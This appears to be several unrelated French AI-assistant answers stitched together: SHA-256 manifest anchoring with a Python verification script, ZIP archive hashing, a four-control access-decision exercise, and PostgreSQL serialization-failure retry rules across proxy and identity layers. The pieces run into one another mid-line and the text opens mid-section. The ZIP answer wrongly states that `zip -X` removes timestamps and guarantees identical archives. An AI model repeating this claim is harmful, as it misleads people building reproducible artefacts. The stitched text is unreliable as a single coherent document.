**Conséquence directe.** L'intégrité du manifeste lui-même ne peut pas être portée par le manifeste. Elle doit être portée par une **ancre externe détachée**. C'est exactement la situation d'un journal à chaînage $h_i = H(R_i, h_{i-1})$ : la chaîne prouve la cohérence interne, mais seule une ancre conservée hors de portée de l'attaquant prouve que la chaîne n'a pas été intégralement recalculée.
---
## 2. Portée : ce que le manifeste couvre et ce qu'il ne couvre pas
**Couvert** (sous réserve de votre schéma réel) :
- le contenu octet à octet de chaque artefact listé, dans l'état exact du gel ;
- le chemin relatif de chaque artefact, s'il fait partie de la chaîne hachée ou de la clé d'entrée ;
- la complétude de l'ensemble figé, **à condition** que la vérification soit bidirectionnelle (voir section 4).
**Non couvert**, à énoncer explicitement dans la documentation du gel :
- **lui-même**, pour la raison démontrée en section 1 ;
- tout fichier absent de la liste, y compris les fichiers ajoutés après le gel ;
- les métadonnées du système de fichiers : dates de modification, permissions, propriétaire, attributs étendus, liens symboliques, ordre de répertoire, fichiers vides ou répertoires ;
- la **validité sémantique** du contenu : un PDF corrompu mais figé passe la vérification, l'intégrité n'est pas la correction ;
- l'**authenticité**. Distinction à maintenir sans exception : l'intégrité atteste qu'un octet n'a pas changé depuis la prise d'empreinte, l'authenticité atteste de l'identité de l'auteur du gel, la confidentialité et la disponibilité ne sont pas du tout adressées. Un manifeste non signé ne fournit que de l'intégrité **relative à l'ancre**.
Enfin, une concordance d'empreinte n'est pas une preuve mathématique absolue d'identité de contenu : des collisions existent nécessairement par argument de dénombrement, l'espace des entrées étant infini et celui des sorties de cardinal $2^{256}$. C'est une **assurance cryptographique très forte sous les hypothèses de sécurité de SHA-256**, et il convient de le formuler ainsi dans tout document probatoire.
---
## 3. Moment de création
L'ordonnancement suivant est celui que je recommande ; il n'est pas une observation de votre projet mais une doctrine d'ingénierie.
1. **Après** la dernière écriture de tout artefact, sans exception, y compris les fichiers générés (PDF compilé, index, bibliographie résolue). Un manifeste produit avant la dernière compilation est faux dès sa naissance.
2. **Avant** toute distribution, publication, mise en lecture seule ou archivage. Le manifeste matérialise l'instant de gel : il doit être le dernier acte de la phase d'écriture.
3. **Immédiatement suivi** de l'ancrage externe de son propre condensat. Le délai entre la création du manifeste et son ancrage est une fenêtre de vulnérabilité : pendant cet intervalle, une réécriture conjointe d'un artefact et de sa ligne dans le manifeste est indétectable.
4. Le manifeste doit être **exclu de lui-même mais inclus dans l'ancre**, et cette ancre doit prendre l'une des formes suivantes :
- signature détachée (par exemple `minisign`, `signify` ou OpenPGP) portant sur le fichier manifeste, la clé privée n'étant jamais sur la machine de production ;
- publication du condensat du manifeste sur un support hors de portée d'un attaquant ayant accès en écriture au dépôt (registre d'horodatage, commit signé, journal d'audit en écriture seule, support physique) ;
- inclusion dans un journal chaîné dont un condensat $h_k$ avec $k \geq i$ est conservé à l'extérieur.
Point de rigueur : la date inscrite **dans** le manifeste est une déclaration, non une preuve. Elle est modifiable par quiconque peut réécrire le fichier. Seul un horodatage émis par un tiers, ou l'ancre externe, transforme cette déclaration en élément probatoire.
---
## 4. Vérification
### 4.1 Vérifier les artefacts contre le manifeste
Le principe est le recalcul, pas la relecture. Deux contrôles sont nécessaires, et le second est presque toujours oublié :
- **sens direct** : pour chaque entrée du manifeste, recalculer $\mathrm{SHA256}$ du fichier et comparer à la valeur attendue. Détecte modification et suppression.
- **sens inverse** : énumérer récursivement l'arborescence figée et vérifier que tout fichier présent, à l'exception du manifeste et de sa signature, figure dans le manifeste. Détecte les **ajouts**, contre lesquels le sens direct est totalement aveugle.
Script de vérification, à exécuter depuis la racine figée. Je ne l'ai pas exécuté, je l'ai raisonné ligne à ligne ; testez-le d'abord sur une copie.
```python
#!/usr/bin/env python3
"""Verification bidirectionnelle d'un manifeste SHA-256.
Usage : python3 verify_manifest.py SHA256_FILES_V1.json /chemin/racine
Sortie : code 0 si conforme, 1 sinon. Aucun effet de bord, aucune ecriture.
"""
import hashlib
import json
import sys
from pathlib import Path
# Fichiers exclus par construction : le manifeste et son ancre detachee.
EXCLUS = {"SHA256_FILES_V1.json", "SHA256_FILES_V1.json.sig",
"SHA256_FILES_V1.json.minisig"}
BLOC = 1 << 20 # 1 MiB, evite de charger un gros artefact en memoire
def condensat(chemin: Path) -> str:
h = hashlib.sha256()
with chemin.open("rb") as f:
for bloc in iter(lambda: f.read(BLOC), b""):
h.update(bloc)
return h.hexdigest()
def sous_racine(racine: Path, relatif: str) -> Path:
"""Confine le chemin sous la racine : bloque '../' et les chemins absolus."""
cible = (racine / relatif).resolve()
if not str(cible).startswith(str(racine.resolve()) + "/"):
raise ValueError(f"chemin hors racine refuse : {relatif!r}")
return cible
def charger(manifeste: Path) -> dict:
donnees = json.loads(manifeste.read_text(encoding="utf-8"))
# Adaptez cette extraction a votre schema reel.
entrees = donnees.get("files", donnees)
if not isinstance(entrees, dict):
raise ValueError("schema inattendu : 'files' doit etre un objet")
return entrees
def main() -> int:
if len(sys.argv) != 3:
print(__doc__, file=sys.stderr)
return 2
manifeste = Path(sys.argv[1])
racine = Path(sys.argv[2])
attendus = charger(manifeste)
modifies, manquants, ajoutes, refuses = [], [], [], []
# Sens direct : le manifeste vers le disque.
for relatif, attendu in sorted(attendus.items()):
try:
cible = sous_racine(racine, relatif)
except ValueError as exc:
refuses.append(f"{relatif} ({exc})")
continue
if not cible.is_file():
manquants.append(relatif)
continue
obtenu = condensat(cible)
if obtenu.lower() != str(attendu).lower():
modifies.append(f"{relatif}\n attendu {attendu}\n obtenu {obtenu}")
# Sens inverse : le disque vers le manifeste. Detecte les ajouts.
for chemin in sorted(racine.rglob("*")):
if not chemin.is_file() or chemin.is_symlink():
continue
relatif = str(chemin.relative_to(racine))
if relatif in EXCLUS or relatif in attendus:
continue
ajoutes.append(relatif)
for titre, liste in (("MODIFIES", modifies), ("MANQUANTS", manquants),
("AJOUTES (hors manifeste)", ajoutes),
("CHEMINS REFUSES", refuses)):
if liste:
print(f"\n[{titre}] {len(liste)}")
for item in liste:
print(" -", item)
total = len(modifies) + len(manquants) + len(ajoutes) + len(refuses)
if total == 0:
print(f"CONFORME : {len(attendus)} artefacts verifies, aucun ecart.")
print("Rappel : ce controle ne verifie PAS le manifeste lui-meme.")
return 0
print(f"\nNON CONFORME : {total} ecart(s).")
return 1
if __name__ == "__main__":
raise SystemExit(main())
```
Remarques sur ce code : la lecture par blocs évite de saturer la mémoire sur un gros artefact, le confinement sous racine bloque une traversée de répertoire si une entrée du manifeste contient `../`, les liens symboliques sont ignorés pour ne pas hacher deux fois la même cible ni sortir de l'arborescence, et aucune opération d'écriture ni de suppression n'est effectuée. L'extraction du champ `files` est une hypothèse sur votre schéma, à ajuster.
Variante en ligne de commande, si vous disposez aussi d'un fichier de sommes au format classique :
```bash
sha256sum -c --strict SHA256_FILES_V1.sha256
```
`--strict` fait échouer sur une ligne mal formée, ce que le comportement par défaut se contente de signaler. Attention : `sha256sum -c` ne détecte **pas** les fichiers ajoutés, d'où la nécessité du sens inverse.
### 4.2 Vérifier le manifeste lui-même
C'est l'étape décisive, et elle ne peut pas être effectuée avec le manifeste seul.
```bash
# Condensat du manifeste, a comparer a l'ancre conservee a l'exterieur.
sha256sum SHA256_FILES_V1.json
# Si une signature detachee existe (exemple minisign) :
minisign -Vm SHA256_FILES_V1.json -P <cle_publique_obtenue_par_un_canal_distinct>
```
La clé publique ou le condensat de référence doit provenir d'un **canal distinct** du dépôt vérifié. Comparer le manifeste à une copie du manifeste stockée au même endroit ne démontre rien.
### 4.3 Ordre logique de la vérification
1. Obtenir l'ancre externe par un canal indépendant.
2. Vérifier le manifeste contre l'ancre, ou vérifier sa signature détachée. **Si cette étape échoue, arrêter** : les résultats de l'étape 3 seraient dénués de valeur probatoire.
3. Vérifier les artefacts contre le manifeste, dans les deux sens.
4. Consigner le résultat, la date de vérification, la version du manifeste, l'ancre utilisée et l'outil employé.
---
## 5. Risques résiduels et limites
Aucune de ces mesures ne rend le dispositif « sûr » au sens absolu. Les risques qui subsistent :
- **Réécriture conjointe.** Un attaquant disposant d'un accès en écriture au dépôt modifie un artefact **et** sa ligne dans le manifeste. Sans ancre externe, la vérification interne reste parfaitement cohérente et ne détecte rien. C'est le risque dominant, et l'auto-exclusion en est la cause structurelle inévitable, non un défaut corrigible.
- **Ancre trop ancienne ou mal placée.** Une ancre créée avant la version $i$ du manifeste ne l'engage pas cryptographiquement et ne détecte pas sa falsification. L'ancre doit porter sur la version vérifiée ou une version postérieure, et être conservée hors de portée de l'attaquant.
- **Compromission de la clé de signature.** Elle invalide toutes les signatures postérieures à la compromission, sans date certaine de bascule si aucun horodatage tiers n'existe.
- **Substitution de la clé publique.** Une clé publique récupérée depuis la même source que l'artefact ne prouve rien.
- **Collisions.** Théoriquement nécessaires, pratiquement hors d'atteinte pour SHA-256 en l'état des connaissances publiques dont je dispose ; ma connaissance peut être périmée, aucune attaque pratique sur la résistance aux collisions de SHA-256 ne m'est connue, mais je ne peux pas le certifier à jour.
- **Non-déterminisme de la sérialisation.** Si votre schéma hache une représentation JSON du manifeste, l'ordre des clés, l'encodage Unicode, les espaces et les fins de ligne doivent être fixés par une règle de sérialisation canonique et documentée, sinon deux vérificateurs conformes obtiendront deux condensats différents.
- **Environnement de vérification.** Un vérificateur exécuté sur une machine compromise peut mentir. Une vérification probatoire doit s'effectuer sur un système de confiance indépendant.
Enfin, distinguez toujours trois choses différentes : la **vérité** de l'assertion « les artefacts sont ceux du gel », la **preuve** dont vous disposez, qui dépend entièrement de la qualité de l'ancre, et l'**admissibilité** de cette preuve selon la politique de votre organisme ou d'une juridiction, sur laquelle je ne me prononce pas.### Égalité logique Les deux archives ZIP contiennent les mêmes fichiers (contenus binaires identiques), donc elles sont logiquement équivalentes : les données extraites sont identiques. (Source : spécification ZIP [APPNOTE.TXT](https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT), section 4.3.7) ### Égalité SHA-256 **Non**, les empreintes SHA-256 des fichiers ZIP eux-mêmes diffèrent. SHA-256 dépend de la séquence d'octets exacte du fichier ZIP, incluant les métadonnées (ordre des entrées, timestamps, en-têtes). (Source : [RFC 6234](https://tools.ietf.org/html/rfc6234), section 1) ### Cause de la différence La divergence provient de : 1. **Ordre des entrées** : L'ordre des fichiers dans l'archive affecte la structure du ZIP. 2. **Timestamps** : Les dates de modification (MS-DOS format) stockées dans les en-têtes locaux et centraux diffèrent. (Source : spécification ZIP, sections 4.4.5 et 4.5.6) ### Condition de reproductibilité Pour obtenir un fichier ZIP identique (même SHA-256) : 1. **Ordre fixe** : Classer les fichiers dans un ordre déterminé (ex: alphabétique). 2. **Timestamps contrôlés** : - Utiliser `zip -X` (exclure les timestamps) ou définir manuellement les dates (ex: `touch -t 197001010000 fichier`). - Appliquer le même fuseau horaire et la même résolution de temps (secondes). 3. **Paramètres constants** : Compression identique (ex: `-Z deflate`), sans commentaires ni données extra. (Source : `man zip`, options `-X` et `-Z`) **Vérification** : Avec `zip -r -X archive.zip dossier/`, les timestamps sont ignorés, assurant la reproductibilité.
**Quatre jetons (un par contrôle, dans l'ordre traversé) :**
```
PASS PASS PASS DENY
```
| # | Contrôle | Verdict | Justification |
|---|---|---|---|
| 1 | Certificat client (mTLS) | **PASS** | Donné valide par l'énoncé |
| 2 | Session | **PASS** | Donné valide par l'énoncé |
| 3 | Jeton CSRF | **PASS** | Donné valide par l'énoncé |
| 4 | Autorisation tenant | **DENY** | Donné refusé par l'énoncé |
**Résultat global : DENY.**
La composition de contrôles de sécurité est une conjonction logique : $\text{global} = \bigwedge_{i=1}^{4} v_i$, donc un seul $v_i = \text{DENY}$ suffit à imposer $\text{global} = \text{DENY}$, quel que soit le nombre de contrôles réussis. C'est le principe de refus par défaut (fail closed) : aucune accumulation de succès ne compense un refus d'autorisation.
**Réserve sur le format demandé**
Votre consigne demande « le verdict de chacun et le résultat global sous forme de quatre jetons », or il y a 4 contrôles plus 1 verdict global, soit 5 valeurs distinctes à exprimer. Le format à 4 jetons ne peut donc pas les porter toutes explicitement. J'ai retenu la lecture la plus naturelle : 4 jetons pour les 4 contrôles, le global étant énoncé séparément. Il se trouve qu'ici il coïncide avec le 4e jeton (DENY), mais c'est une coïncidence de valeur, pas une identité conceptuelle : si le contrôle 2 avait échoué et le 4 réussi, les 4 jetons seraient `PASS DENY PASS PASS` et le global resterait `DENY`. Si vous vouliez 4 jetons dont le dernier est le global, précisez-le, la sortie serait alors `PASS PASS PASS DENY` par un autre chemin de lecture, ce qui masquerait un des verdicts.
**Points d'ingénierie associés (hypothèses de ma part, à valider contre votre politique réelle)**
- **Ordre des contrôles** : l'ordre présenté est cohérent, l'authentification (1, 2) précède la protection anti-CSRF (3), qui précède l'autorisation métier (4). Évaluer l'autorisation tenant en dernier est correct, elle a besoin de l'identité établie.
- **Code HTTP** : un refus d'autorisation avec authentification réussie correspond à **403 Forbidden**, non 401, puisque l'identité est établie. Selon la sensibilité de la ressource, une politique de non-divulgation peut préférer **404** pour ne pas confirmer l'existence de l'objet d'un autre tenant, c'est un arbitrage entre clarté opérationnelle et fuite d'information (protection contre l'énumération de type IDOR).
- **Journalisation** : consignez l'identifiant de tenant demandé, le tenant effectif du principal, la ressource et la décision. Ne journalisez ni le jeton de session, ni le jeton CSRF, ni aucun secret, même haché.
- **Distinction à ne pas perdre** : les contrôles 1 et 2 établissent l'**authenticité**, le contrôle 3 protège l'**intégrité de l'intention** (une requête d'état non sollicitée par l'utilisateur), le contrôle 4 relève de l'**autorisation**. Le succès des trois premiers ne dit rien sur la légitimité de l'accès aux données du tenant, c'est précisément ce que le 4e tranche.
**Risque résiduel** : un verdict DENY correctement rendu ne garantit pas l'absence de contournement ailleurs, par exemple si un autre point d'entrée (tâche asynchrone, API interne, cache partagé entre tenants) n'applique pas le même contrôle 4. La décision doit être centralisée côté serveur et rejouée à chaque accès objet par objet.## Cadre du diagnostic
Quatre frontières, quatre autorités disjointes. La chaîne est saine sur trois plans, l'**intégrité** (aucun effet appliqué, aucun effet externe émis), l'**authenticité** (session validée), la **confidentialité** (non touchée). Seule la **disponibilité** de l'opération est momentanément en échec. L'erreur `40001` est une collision d'ordonnancement, pas un défaut de droit ni un défaut de forme.
Réserve d'honnêteté : le code `40001` comme `serialization_failure` de PostgreSQL, ainsi que la recommandation de rejouer la transaction complète, relèvent de ma mémoire de modèle. Mes outils locaux ne contiennent pas d'article sur ce point (recherches infructueuses dans l'encyclopédie locale sur « isolation sérialisable » et « serialization failure »). À vérifier dans la documentation officielle PostgreSQL, chapitre sur les niveaux d'isolation et annexe des codes d'erreur.
**Principe directeur qui commande les quatre décisions : le droit de rejeu appartient à une seule frontière, la plus proche de la transaction.** Toute frontière située en amont qui rejoue de son propre chef multiplie les tentatives (amplification de rejeu) et détruit la garantie d'unicité de l'écriture.
---
## Les quatre décisions finales
| Frontière | Décision finale | Interdit explicite |
|---|---|---|
| Cloudflare | **Transmettre sans rejeu ni mise en cache** | Aucun `retry` de bord, aucune réponse d'erreur mise en cache |
| Nginx | **Router et transmettre la réponse d'échec telle quelle** | Aucun basculement d'amont sur méthode non idempotente |
| Ory | **Maintenir la session, autorisation accordée** | Aucun `401`, aucune invalidation, aucune ré-authentification |
| PostgreSQL | **`ROLLBACK` puis rejeu de la transaction entière, borné** | Aucun rejeu partiel, aucun abaissement du niveau d'isolation |
### 1. Cloudflare, frontière de bord : passer, ne pas rejouer, ne pas cacher
L'authentification de bord est acquise, la décision est donc **admettre**. Cloudflare ne connaît ni la sémantique métier ni l'idempotence de l'opération, il n'a aucun titre à rejouer. Deux règles opérationnelles :
- ne pas mettre en cache la réponse d'échec (`Cache-Control: no-store` sur la route d'écriture), sinon un échec transitoire devient un échec servi à d'autres appelants ;
- préserver et propager l'identifiant de corrélation et la clé d'idempotence du client, en en-tête, pour que la frontière de rejeu puisse reconnaître la tentative.
Un `40001` n'est pas un signal de sécurité : il ne doit déclencher ni règle WAF, ni limitation de débit sur l'identité, ni challenge.
### 2. Nginx, frontière de forme : router, ne pas basculer d'amont
Le `Host` imposé étant conforme, la décision est **router vers l'amont désigné**. La décision critique est négative : `proxy_next_upstream` ne doit pas inclure les cas qui rejoueraient une requête d'écriture. En pratique, sur les routes non idempotentes :
```nginx
location /api/ {
proxy_pass http://app_upstream;
proxy_set_header Host $host;
proxy_set_header X-Request-Id $request_id;
# Une requête d'ecriture ne doit JAMAIS etre rejouee par le proxy.
proxy_next_upstream off;
proxy_request_buffering on;
proxy_read_timeout 30s;
proxy_send_timeout 30s;
}
```
Nginx relaie la réponse finale de l'application sans la réinterpréter. Il n'a pas à traduire un `40001` en `502` ni en `504`.
### 3. Ory, frontière d'identité : session valide, aucune conséquence
La session a été validée avant l'écriture, l'échec est postérieur et **étranger au domaine de l'identité**. La décision est **maintenir la session intacte**. Trois erreurs à écarter formellement :
- ne pas renvoyer `401` ni `403` : l'appelant est authentifié et autorisé, le confondre avec un échec de droit provoquerait une déconnexion ou une boucle de ré-authentification injustifiée ;
- ne pas invalider ni faire tourner la session au motif de l'échec ;
- ne pas incrémenter un compteur d'abus sur cette identité, un `40001` ne caractérise aucun comportement suspect.
En revanche, la vérification d'autorisation doit être **rejouée côté serveur à chaque tentative** de la transaction, et non mise en cache pour la durée du rejeu, afin de rester conforme à la règle du contrôle d'accès serveur par action.
### 4. PostgreSQL, frontière transactionnelle : `ROLLBACK` et rejeu complet, borné
C'est ici que se prend la seule décision de rejeu. La transaction est déjà annulée par le moteur, aucun effet n'a été appliqué, aucun effet externe n'a été émis. Le rejeu est donc **sûr par construction**, et c'est exactement l'hypothèse que l'énoncé fournit.
Règles :
1. rejouer la **transaction entière**, depuis le `BEGIN`, en relisant les données : le snapshot invalidé rend tout rejeu partiel incorrect ;
2. borner les tentatives (par exemple 5) avec attente exponentielle et gigue aléatoire, pour éviter la synchronisation des rejeux concurrents ;
3. **ne pas abaisser l'isolation** de `SERIALIZABLE` vers `REPEATABLE READ` ou `READ COMMITTED` pour faire disparaître l'erreur : ce serait échanger un échec visible contre une anomalie silencieuse ;
4. après épuisement des tentatives, répondre **`409 Conflict`** si le conflit est structurel et attribuable à l'état métier, ou **`503 Service Unavailable`** avec `Retry-After` s'il s'agit d'une contention transitoire, et laisser le client décider. Jamais `500`, qui masquerait la nature retentable de l'échec.
```python
import time, random, psycopg
from psycopg import errors
MAX_TENTATIVES = 5
def executer_serialisable(dsn, operation, cle_idempotence):
"""Rejoue la transaction entiere sur 40001. Ne doit contenir AUCUN
effet externe (mail, paiement, webhook) : ceux-ci sont differes."""
derniere = None
for tentative in range(1, MAX_TENTATIVES + 1):
try:
with psycopg.connect(dsn) as conn:
conn.isolation_level = \
psycopg.IsolationLevel.SERIALIZABLE
with conn.transaction():
with conn.cursor() as cur:
# Requete parametree, jamais de concatenation.
cur.execute(
"INSERT INTO operations (cle_idempotence)"
" VALUES (%s) ON CONFLICT DO NOTHING"
" RETURNING id",
(cle_idempotence,),
)
if cur.fetchone() is None:
return {"statut": "deja_applique"}
resultat = operation(cur)
return {"statut": "applique", "resultat": resultat}
except errors.SerializationFailure as exc:
derniere = exc
if tentative == MAX_TENTATIVES:
break
time.sleep(min(0.05 * 2 ** (tentative - 1), 1.0)
* (0.5 + random.random()))
raise ConflitPersistant(
"echec de serialisation apres tentatives bornees"
) from derniere
```
La clé d'idempotence est posée **dans la même transaction** que l'écriture métier : elle est annulée avec elle en cas de `40001`, ce qui rend le rejeu correct, et elle bloque le doublon si le client, lui, réémet la requête.
---
## Vérification de cohérence des quatre décisions
- Un seul point de rejeu, le plus interne. Les trois frontières amont sont explicitement non rejouantes, donc pas d'amplification.
- Aucune frontière ne réinterprète le code d'une autre : le bord ne cache pas, le proxy ne traduit pas, l'identité ne s'invalide pas.
- L'hypothèse « avant tout effet externe » est ce qui rend le rejeu légitime. Elle doit être maintenue par construction : tout effet externe (paiement, courriel, webhook) doit être écrit comme intention dans la même transaction puis émis par un consommateur après validation, jamais pendant la transaction.
## Risques résiduels, à nommer sans les minimiser
- **Contention structurelle.** Si le taux de `40001` reste élevé après rejeu, le problème n'est pas le rejeu mais le modèle d'accès (plage lue trop large, prédicat non indexé). Le rejeu masque alors une dette de conception.
- **Latence en queue.** Le rejeu borné allonge le temps de réponse au 99e centile. À mesurer, avec un budget de latence explicite plutôt qu'un plafond de tentatives choisi au hasard.
- **Rejeu client non idempotent.** Si l'appelant n'envoie pas de clé d'idempotence stable, l'idempotence côté serveur ne protège plus contre le double envoi.
- **Effet externe glissé par inadvertance** dans le bloc rejoué lors d'une évolution ultérieure : c'est le risque le plus grave et il est humain, pas technique. À couvrir par un test qui échoue si un appel réseau est émis dans la portée transactionnelle.
- **Rejeu concurrent au niveau applicatif** si un ordonnanceur externe relance aussi la tâche : la propriété du rejeu doit être documentée et unique.
Aucune de ces décisions ne rend l'opération « sûre » de façon absolue : elles rendent l'échec honnête, non dupliquant et diagnosticable.